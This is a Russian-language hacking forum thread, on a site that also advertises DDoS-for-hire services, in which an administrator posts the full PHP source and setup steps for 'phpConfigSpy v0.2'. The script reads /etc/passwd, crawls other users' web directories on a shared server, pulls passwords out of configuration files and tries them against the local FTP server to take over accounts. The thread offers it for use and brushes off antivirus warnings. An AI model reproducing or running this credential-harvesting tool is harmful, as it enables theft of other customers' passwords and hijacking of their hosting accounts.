Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


phpConfigSpy v0.2


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 2

#1
$iD

$iD

    Админ

  • root
  • PipPipPipPipPipPip
  • 3785 сообщений
[Описание]

phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт.
После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации.
Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте.

[Source]
<?php 
/* 
phpConfigSpy v0.2 
coded by p-range #645552 
(c) http://p-range.info 
*/ 
echo '<html><head><title>phpConfigSpy v0.2</title></head><body>'; 
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>'); 
set_time_limit(0); 
################### 
@$passwd = fopen('/etc/passwd','r'); 
if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); } 
$pub = array(); 
$users = array(); 
$conf = array(); 
$i = 0; 
while(!feof($passwd)) 
{ 
$str = fgets($passwd); 
 if ($i > 35) 
 { 
  $pos = strpos($str,':'); 
  $username = substr($str,0,$pos); 
  $dirz = '/home/'.$username.'/public_html/'; 
  if (($username != '')) 
  { 
   if (is_readable($dirz)) 
   { 
	array_push($users,$username); 
	array_push($pub,$dirz); 
   } 
  } 
   } 
$i++; 
} 
################### 
echo '<br><br><textarea cols="100" rows="20">'; 
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"; 
echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"; 
echo "[~] Searching for passwords in config files...\n\n"; 
foreach ($users as $user) 
{ 
$path = "/home/$user/public_html/"; 
read_dir($path,$user); 
} 
echo "\n[+] Done\n"; 
function read_dir($path,$username) 
{ 
if ($handle = opendir($path)) 
{ 
 while (false !== ($file = readdir($handle))) 
 { 
  $fpath = "$path$file"; 
  if (($file != '.') and ($file != '..')) 
  { 
   if (is_readable($fpath)) 
   { 
	$dr = $fpath."/"; 
	if (is_dir($dr)) 
	{ 
	 read_dir($dr,$username); 
	} 
	else 
	{ 
						if ( 
						 ($file=='config.php') 
						or ($file=='config.inc.php') 
						or ($file=='conf.php') 
						or ($file=='settings.php') 
						or ($file=='setup.php') 
						or ($file=='dbconf.php') 
						or ($file=='dbconfig.php') 
						or ($file=='db.inc.php') 
						or ($file=='dbconnect.php') 
						or ($file=='connect.php') 
						or ($file=='index.php') 
						or ($file=='common.php') 
						or ($file=='config_global.php') 
						or ($file=='db.php') 
						or ($file=='connect.inc.php') 
						or ($file=='dbconnect.inc.php')) 
					   { 
	  $pass = get_pass($fpath); 
	  if ($pass != '') 
	  { 
	   echo "[+] $fpath\n$pass\n"; 
	   ftp_check($username,$pass); 
	  } 
	 } 
	} 
   } 
  } 
 } 
} 
} 
function get_pass($link) 
{ 
@$config = fopen($link,'r'); 
while(!feof($config)) 
{ 
 $line = fgets($config); 
 if (strstr($line,'pass') 
 or strstr($line,'pwd') 
 or strstr($line,'db_pass') 
 or strstr($line,'dbpass') 
 or strstr($line,'passwd')) 
 { 
  if (strrpos($line,'"')) 
  { 
   preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass); 
   $pass = str_replace("]=\"","",$pass); 
  } 
   
  else 
   preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass); 
   $pass = str_replace("]='","",$pass); 
  return $pass[2]; 
 } 
} 
} 
function ftp_check($login,$pass) 
{ 
@$ftp = ftp_connect('127.0.0.1'); 
if ($ftp) 
{ 
 @$res = ftp_login($ftp,$login,$pass); 
 if ($res) 
 { 
  echo '[FTP] '.$login.':'.$pass."  Success !\n"; 
 } 
 else ftp_quit($ftp); 
} 
} 
echo '</textarea><br><br>Coded by <b>$re@m3r</b> & <b>p-range</b>  <a href=http://p-range.info>p-range.info</a></body></html>'; 
?>

[Установка]

phpConfigSpy работает только при SAFE_MODE = OFF.
Для установки просто отредактируйте 24 строку скрипта:
$dirz = '/home/'.$username.'/public_html/';
и 43 стоку:
$path = '/home/'.$user.'/public_html/';

на соответствующий путь до веб-директории пользователей.
Затем заливайте на сервер и запускайте через браузер.
[Что нового]
В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей.

Последнюю версию скрипта можно скачать здесь ]]>http://p-range.info/...hpconfigspy.txt]]>

Coded by p-range & $re@m3r

#2
mff

mff

    Бит

  • Members
  • 7 сообщений
NOD32 ругается!

#3
$iD

$iD

    Админ

  • root
  • PipPipPipPipPipPip
  • 3785 сообщений
mff
Этому скрипту уже наверно больше года, конечно антивиры будут ругаться, а чего ты ожидал от паблик скофта?


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных